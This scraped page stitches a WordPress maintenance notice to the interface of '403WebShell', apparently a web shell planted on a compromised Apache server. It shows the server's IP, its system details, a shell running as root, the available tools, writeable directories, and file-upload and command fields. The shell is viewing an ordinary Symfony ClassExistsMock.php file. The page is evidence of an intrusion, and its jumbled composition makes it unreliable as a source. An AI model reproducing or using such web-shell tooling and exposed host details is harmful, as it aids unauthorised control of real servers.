WordPress

Briefly unavailable for scheduled maintenance.
Check back in a some hours.
403WebShell
403Webshell
Server IP : 38.242.244.58  /  Your IP : 216.73.217.62
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux vmi1486879.contaboserver.net 5.4.0-166-generic #183-Ubuntu SMP Mon Oct 2 11:28:33 UTC 2023 x86_64
User : root ( 0)
PHP Version : 7.4.3-4ubuntu2.19
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/sura/vendor/symfony/phpunit-bridge/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/sura/vendor/symfony/phpunit-bridge/ClassExistsMock.php
<?php

/*
 * This file is part of the Symfony package.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Symfony\Bridge\PhpUnit;

/**
 * @author Roland Franssen <franssen.roland@gmail.com>
 */
class ClassExistsMock
{
    private static $classes = [];

    private static $enums = [];

    /**
     * Configures the classes to be checked upon existence.
     *
     * @param array $classes Mocked class names as keys (case-sensitive, without leading root namespace slash) and booleans as values
     *
     * @return void
     */
    public static function withMockedClasses(array $classes)
    {
        self::$classes = $classes;
    }

    /**
     * Configures the enums to be checked upon existence.
     *
     * @param array $enums Mocked enums names as keys (case-sensitive, without leading root namespace slash) and booleans as values
     *
     * @return void
     */
    public static function withMockedEnums(array $enums)
    {
        self::$enums = $enums;
        self::$classes += $enums;
    }

    /**
     * @return bool
     */
    public static function class_exists($name, $autoload = true)
    {
        $name = ltrim($name, '\\');

        return isset(self::$classes[$name]) ? (bool) self::$classes[$name] : \class_exists($name, $autoload);
    }

    /**
     * @return bool
     */
    public static function interface_exists($name, $autoload = true)
    {
        $name = ltrim($name, '\\');

        return isset(self::$classes[$name]) ? (bool) self::$classes[$name] : \interface_exists($name, $autoload);
    }

    /**
     * @return bool
     */
    public static function trait_exists($name, $autoload = true)
    {
        $name = ltrim($name, '\\');

        return isset(self::$classes[$name]) ? (bool) self::$classes[$name] : \trait_exists($name, $autoload);
    }

    /**
     * @return bool
     */
    public static function enum_exists($name, $autoload = true)
    {
        $name = ltrim($name, '\\');

        return isset(self::$enums[$name]) ? (bool) self::$enums[$name] : \enum_exists($name, $autoload);
    }

    /**
     * @return void
     */
    public static function register($class)
    {
        $self = static::class;

        $mockedNs = [substr($class, 0, strrpos($class, '\\'))];
        if (0 < strpos($class, '\\Tests\\')) {
            $ns = str_replace('\\Tests\\', '\\', $class);
            $mockedNs[] = substr($ns, 0, strrpos($ns, '\\'));
        } elseif (0 === strpos($class, 'Tests\\')) {
            $mockedNs[] = substr($class, 6, strrpos($class, '\\') - 6);
        }
        foreach ($mockedNs as $ns) {
            foreach (['class', 'interface', 'trait', 'enum'] as $type) {
                if (\function_exists($ns.'\\'.$type.'_exists')) {
                    continue;
                }
                eval(<<<EOPHP
namespace $ns;

function {$type}_exists(\$name, \$autoload = true)
{
    return \\$self::{$type}_exists(\$name, \$autoload);
}

EOPHP
                );
            }
        }
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit